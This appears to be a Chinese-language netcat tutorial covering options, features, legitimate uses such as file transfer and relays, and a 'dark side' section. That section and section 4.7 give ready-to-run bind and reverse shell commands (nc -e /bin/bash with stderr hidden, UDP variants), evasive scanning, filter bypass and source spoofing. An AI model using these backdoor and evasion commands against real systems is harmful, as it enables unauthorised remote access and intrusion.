1 历史
1 netcat创建于1995年,开发到1996年的前几个月时,由Avian Research (avian.org)发布了v1.10.
netcat及其相关软件包由Avian Research开发,且开源
2 netcat的另一个分支为GNU Netcat,用于改进可移植性、可用性和功能设计
官网 http://netcat.sourceforge.net/
该项目的目标是与广泛使用的原始NC 1.10完全兼容,并且具有可移植性
不同分支的nc基本上都兼容
以下内容为kali自带的nc(GNU nc)
2 options
option | 描述 |
-c string | 指定连接后要执行的shell命令;命令由/bin/sh -c 执行 |
-e filename | 指定连接后要执行的文件 |
-g gateway | 指定源路由中间路由器,参考traceroute的-g选项 |
-G num | source-routing pointer: 4, 8, 12, ... |
-h | 帮助文档 |
-i secs | 发送消息,端口扫描的时间间隔 |
-l | 监听模式;默认监听0.0.0.0,通过-s指定监听地址 |
-n | 不进行dns解析,使用纯数字ip地址 |
-o file | 将输入输出的数据以16进制和注释的形式保存到文件 |
-p port | 指定本地端口;可以为单个端口或范围(low-high); 连接远程主机时,用于指定源端口 |
-q seconds | stdin接收到EOF后等待指定秒后退出,如果seconds为负数,则永远等待(接收EOF后不退出,但是不能再发送数据) |
-b | 允许UDP广播 |
-r | 随机分配本地和远程端口 |
-s addr | 本地源地址;指定监听地址或数据包源地址 |
-t | 启用telnet协商 |
-u | 使用udp协议 |
-v | 显示详细信息,两次显示更加详细的信息 |
-w secs | 连接的超时时间,网络不活动超时时间(从stdin读取EOF后多久断开连接) |
-C | 发送CRLF作为行尾 |
-z | 零I/O模式[用于扫描] |
-T type | 设置TOS类型,用于优化数据包传输 可选值:Minimize-Delay、Maximize-Throughput、Maximize-Reliability、Minimize-Cost |
扩展说明
nc从stdin接收到EOF后,则关闭stdin,后续的输入会存放在stdin中,待下一个程序从stdin中读取内容
CRLF、CR、LF
CRLF | \r\n |
CR | \r |
LF | \n |
3 特性
3.1 无参数
说明:当未指定参数运行netcat时,netcat打印Cmd line提示用户输入命令参数,随后从stdin读取一行内容,并将其分解为参数
优点:某些类型的脚本中使用该方式驱动netcat是非常有用的
缺点:ps命令不会显示netcat的参数
3.2 hostname
1 hostname可以为域名或ip地址
2 指定-n选项,则netcat仅接受ip地址,不进行DNS查询
3 未指定-n时,netcat会进行DNS正向与反向查询,可以通过-v选项来查看这些信息,当查询不匹配时也会进行警告
3.3 port
1 port可以是数字或/etc/services中的端口别名
2 指定-n选项,仅数字参数有效
3 特殊语法和/或多个端口参数会导致不同的行为——参阅端口扫描相关内容
3.4 -v
1 -v选项控制发送到stderr的消息的详细级别
2 -v选项显示netcat尝试建立连接时的信息
-w选项限制来连接时间
'nc -v -w 3'等同于使用telnet进行端口检测
3 多次指定-v将显示更加详细的内容
4 未指定-v,netcat将静默的工作,除非netcat运行时发生一些错误,此时它将报告错误并以非零状态退出。
拒绝的网络连接通常不被视为错误, 除非你只要求一个TCP端口却被拒绝了
3.5 -w
1 -w选项指定连接超时
2 -w选项也用于指定网络不活动超时时间(从stdin接收到EOF后,指定时间内没有收到信息则断开连接)
3.6 -u
1 指定-u选项后,则使用UDP替换TCP
2 udp模式在从stdin读取数据之前,不会发送任何数据;
因此只有从stdin读取数据后,才会发送udp数据包,此时才可以确定对面另一端是否为udp服务器
使用-u可以连接任何主机,等输入第一行内容后,才会进行验证
3.7 -o
1 -o选项保存16进制存储(dump)文件,该文件存储了整个连接过程的内容
2 16进制转储文件中,以 < 开头的行表示接收的数据,以 > 开头的行表示发送的数据
3 捕获16进制下转储文件会消耗资源,减慢netcat的速度,所以不要在速度很关键的地方使用它
3.8 -p
1 Netcat可以绑定到任何本地端口,受限于特权限制和已使用端口
2 搭配-l则指定监听端口,否则指定源端口
3 root用户可以获取任何未使用的源端口,包括小于1024的“保留”端口。
4 未指定-p选项,将绑定到系统提供您的任何未使用的端口
3.9 -s
1 -s可以指定本地某一个接口的地址作为监听地址或源地址
3.10 -l
1 udp模式下需要指定监听端口
2 tcp模式下允许不指定监听端口,此时监听端口由系统分配,可通过-v选项查看系统分配端口
3 在监听模式下指定目标主机和端口,则仅允许指定主机的指定端口连接;
可以单独指定主机,限制主机访问;端口必须与主机一起使用
nc -l -p 12345 192.168.1.1
nc -l -p 12345 192.168.1.1 22222
4 -v选项显示监听模式下的更多信息:监听ip,监听端口,连接主机等等
5 如果系统支持IP套接字选项,netcat将尝试从入站连接检索任何此类选项并以十六进制打印出来
3.11 -e
1 如果netcat是用-DGAPING_SECURITY_HOLE编译的,则-e参数指定在建立或接收一个成功连接后要执行的程序
2 -e选项也支持udp模式
客户端:运行netcat立即执行程序
服务端:接收到udp数据后再执行程序
3 -e选项不支持提供程序参数,因此想要运行含有参数的命令,请创建一个脚本
3.12 -t
1 如果netcat是用-DTELNET编译的,-t参数使它能够响应telnet选项协商[总是处于否定状态,即DONT或WONT]
2 通过-t选项可以模拟telnet客户端访问telnet服务
3 此功能有可能修改数据流,因此默认情况下不会启用它
3.13 -i
1 为了尽可能高效的传递数据,netcat使用大量8k进行读写,将来自网络的数据传递给stdout,将stdin发送到网络
2 -i选项指定了发送间隔,用于降低速度
指定-i选项后,stdin仍是大批量读取,但netcat随后会尝试查找存在换行符的位置,并每隔一段时间发送一行
如果stdin是一个终端,那么数据已经被逐行读取,除非使-i间隔相当长,否则键入的内容将以相当正常的速率输出
3 -i选项为从文件或管道批量读取数据而设计的
3.14 -z
1 禁止向tcp连接发送数据
2 向udp连接发送少量数据(见3.10,如果不发送数据则无法检测udp端口)
3 基于1、2实现来快速扫描功能,-v选项显示扫描情况
4 -i选项用于限制扫描速度
5 /etc/services中含有--字符的别名,netcat可能无法解析,尽量使用数字形式的端口号
6 示例: nc -v -w 2 -z 192.168.8.100 20-30
3.15 -r
1 默认情况根据端口范围依次扫描
2 指定-r选项,将在端口范围内随机跳转,(可通过sort对扫描结果排序)
如果随机模式有效,本地源端口也会随机化,这样可以防止netcat在扫描时显示出任何类型的规则模式
3 对单个连接使用-r,则源端口将使用8192以上的随机值,而不是内核分配给您的下一个值
4 如果使用-p选项指定本地端口,将会覆盖任何本地端口随机化
3.16 -g
1 -g选项为宽松的源路由指定中间路由器,该选项最多指定8个中间路由器
2 -g选项参考traceroute的-g选项
3 百度源路由或源站选路了解更多详细内容
4 示例-the light side
4.1 模拟web客户端
# nc www.baidu.com 80
GET / HTTP/1.0
4.2 -v选项信息保存
netcat的-v选项通过stderr进行输出,> 和 >>仅将重定向stdout,因此需要将stderr重定向到stdout
nc 192.168.1.1 2222 -v > log 2 >& 1
nc 192.168.1.1 2222 -v >& log
4.3 扫描示例
echo QUIT | nc -v -w 5 target 20-250 500-600 5990-7000
说明:该指令将尝试连接traget的20-250,500-600,5990-7000端口;超时时间为5s;每当端口成功连接时,都会发送QUIT给对方
用途:端口扫描+端口提示信息
注意:使用nc连接telnet服务时,无法通过命令退出,因此需要使用EOF+超时机制退出。
echo QUIT作用:
1 获取服务的提示信息
2 echo QUIT将输入EOF给netcat,因此搭配-w实现超时退出
4.4 数据传输
建议:监听端不设置超时,发送端设置短暂超时,当数据传输完成后自动关闭连接
命令:服务端 nc -l -p 1234 | uncompress -c | tar xvfp -
客户端 tar cfp - /some/dir | compress -c | nc -w 3
说明:nc -l -p 1234 监听本地1234端口
uncompress -c 解压数据,并将其输出到stdout
tar xvfp - 提取标准输入中的文件
x 提取存档中的文件
v 显示详细信息
f 指定文件
p 提取所有保护信息
- 标准输入/输出(f参数所需要,表示从表中输入读取)
tar cfp - /some/dir 归档/some/dir然后传输到stdout
compress -c 压缩文件,然后输出到stdout
nc -w 3 target 1234 连接target的1234端口,超时3秒
用途:将指定文件/目录归档,压缩后发送给服务端;服务端接收到归档文件后对其解压,提取;
netcat可以在corn中进行数据的定时备份;由于netcat遇到错误返回非零状态,因此可以用于脚本
4.5 数据传输-浏览器访问
服务端:# cat test.txt
This is test text
The content will show in your browser
# nc -l -p 22222 -v -q 1 < test.txt
客户端:访问http://192.168.8.100:22222
显示This is test text The content will show in your browser
4.6 inetd替代品
1 使用GAPING_SECURITY_HOLE定义构建netcat,则可以使用netcat作为inedt的替代品
2 不能处理信号
3 可以绑定到特定的本地地址
4 -v选项用于显示更多详细信息
4.7 远程命令执行
说明:客户端运行程序并连接到服务端,由服务端完成对程序的操作
用途:反向连接shell
示例:服务端 nc -l -p 22222 -v
客户端 nc 192.168.8.100 22222 -e /bin/bash
4.8 性能测试
服务端:yes AAAAAAAAAAAAAAAAAAAAAA | nc -v -v -l -p 2222 > /dev/null
客户端:yes BBBBBBBBBBBBBBBBBBBBBB | nc othermachine 2222 > /dev/null
说明:1 -v -v在中断程序后,显示发送和接收的数据量
2 udp模式下每单位时间内产生8Kb数据,足以对内核和网络接口进行压力测试
3 发送随机二进制数据给网络服务,可能会暴露出输入处理的错误
4.9 网络协议调试
通过hex dump特性,将交互的数据以16进制形式转储到文件,用于后续分析
4.10 测试远程syslogger
echo '<38>message' | nc -w 1 -u loggerhost 514
udp 514端口为syslog远程日志存储服务
4.11 测试包过滤器(防火墙)
4.12 保护x server不受外部访问
脚本:
while true ; do
nc -v -l -s <your-addr> -p 6000 localhost 2
done
说明:
netcat监听6000端口(x server端口),且仅允许localhost 2访问该端口;这样每当访问6000端口时都会阻止并进行提示
4.13 服务中继
原理:-c、-e选项执行命令或程序,并将输入输出转接到对端,由此来完成中继
示例:
1 telnet
方法1
服务端(192.168.8.107)
# nc -l -p 22222 -c 'telnet 192.168.8.100'
客户端(192.168.8.100)
# nc 192.168.8.107 22222 -t
方法2
服务端(192.168.8.107)
# nc -l -v -p 22222 -c 'nc 192.168.8.100 23'
客户端(192.168.8.100)
# nc 192.168.8.107 22222 -t
2 ssh
注意:ssh客户端不是通过stdout与stderr输出内容的
ssh localhost >& test 仍会在输出内容到终端
服务端(192.168.8.107)
# nc -l -v -p 22222 -c 'nc 192.168.8.100 22'
客户端(192.168.8.100)
# ssh 192.168.8.107 -p 22222
3 多重中继
服务端(192.168.8.107)
# nc -l -v -p 22222 -c 'nc 192.168.8.107 22223'&
# nc -l -v -p 22223 -c 'nc 192.168.8.107 22224'&
# nc -l -v -p 22224 -c 'nc 192.168.8.100 22'
客户端(192.168.8.100)
# ssh 192.168.8.107 -p 22222
4.14 CGI脚本
使用netcat监听特定端口,并通过-e选项指定脚本或程序,然后在主页上通过一个URL指向找个端口
5 示例-the dark side
5.0 端口监听说明
环境:pc存在多张网卡,ip分别为192.168.8.100 192.168.1.1 192.168.3.2,通过netcat查看监听端口
情景一:192.168.8.100:22
仅在192.168.8.100上监听22端口
此时仅可以访问192.168.8.100:22
情景二:0.0.0.0:22
在本机存在的所有ip上监听22端口,即在192.168.8.100、192.168.1.1、192.168.3.2上监听22端口
此时可以访问192.168.8.100:22、192.168.1.1:22、192.168.3.2:22,且它们为同一个服务
5.1 端口扫描
1 构造数据,获取更多扫描信息
2 使用无参数netcat,确保ps无法获悉更多扫描信息
3 -r选项,随机扫描,减少被检测的可能
4 -i选项,间隔扫描,减少被检测的可能
5.2 绕过包过滤器
监听合法的对外端口,并通过-c或-e中继到本地受限制的端口,从而绕过包过滤器
5.3 捕获交互数据
服务端: # nc -l -v -p 22222 -c 'nc 192.168.8.100 23 -o dump '
客户端: # telnet 192.168.8.100 22222
说明:服务端中的dump为 客户端与192.168.8.100 的通信数据
-o选项dump netcat的输入和输出内容,
但是通过-c选项指定了命令,此时netcat不处理输入和输出,仅转发命令的输入和输入,所以要在命令中指定-o选项
5.4 后门
tcp
1 正向
服务端:# nc -l -v -p 22222 -e /bin/bash >& /dev/null
客户端:# nc 192.168.8.100 22222
客户端获取到服务端的shell,服务端将stderr信息丢弃,避免显示
2 反向
服务端:# nc -l -v -p 22222
客户端:# nc 192.168.8.100 22222 -e /bin/bash >& /dev/null
服务端获取到客户端的shell,客户端将stderr信息丢弃,避免显示
udp
1 正向
服务端:# nc -l -v -p 22222 -u -e /bin/bash >& /dev/null
客户端:# nc 192.168.8.100 22222 -u
客户端获取到服务端的shell,服务端将stderr信息丢弃,避免显示
注意:在客户端连接后,需要发送数据来确定端口状态,随后获取到shell
2 反向
服务端:# nc -l -v -p 22222 -u
客户端:# nc 192.168.8.100 22222 -u -c 'echo 1;/bin/bash' >& /dev/null
服务端获取到客户端的shell,客户端将stderr信息丢弃,避免显示
注意:通过-c 'echo 1;/bin/bash' 可以自动发送首个数据包,确定端口情况,然后进行shell交互
udp模式每次读取一个字符,因此输入命令格式如下:
l
s
netcat-traditional
5.5 用于编写密码破解脚本
5.6 使用nc -t代替telnet,可以防止无意中通过telnet连接发送额外的信息
5.7 伪造源地址
1 使用-s选项指定内核中配置且并未使用的网络接口地址来伪造源地址
2 可以在1的基础上,使用-g和-G进一步欺骗
5.8 拒绝服务;搭配源地址伪造使得溯源较为困难
6 其它细节
对各种警告、微妙之处和内部设计的讨论
1 读取文件
说明:
从1.07版开始,netcat支持读取文件来配置参数和指定数据;文件的第一行为参数,其余行为数据
当netcat读取文件时,则指定文件作为输入,最后输入EOF终止,因此命令行输入的内容将不再输出到对端
文件示例: nc.txt
-l -v -p 22222 参数
data 数据
使用示例
# nc < nc.txt 或 # cat nc.txt | nc
2 udp特性-连接拒绝
1 当netcat接收到入站udp连接时,它会创建一个“连接的套接字”返回到连接的源(udp反向连接回去),然后使用write()发送数据
2 基于这个特性,当客户端中断udp连接后再次连接时源端口发生改变,此时服务端将不再接收连接,除非指定源端口为最初的端口
3 示例
服务端
# nc -l -v -p 22222 -u
客户端
# nc 192.168.8.100 22222 -u -p 12345 #首次可通信
# nc 192.168.8.100 22222 -u -p 12345 #源端口未变,仍可通信
# nc 192.168.8.100 22222 -u -p 23456 #源端口改变,不可通信
3 udp特性-端口误报
1 netcat发送udp数据包后,如果没有接收到ICMP错误,则会认为端口为打开状态
2 端口扫描时,如果过滤器阻塞了udp数据包或发生了丢包或其它类似情况时,都将显示端口为open
7 更多细节和示例查看/usr/share/doc/netcat-traditional目录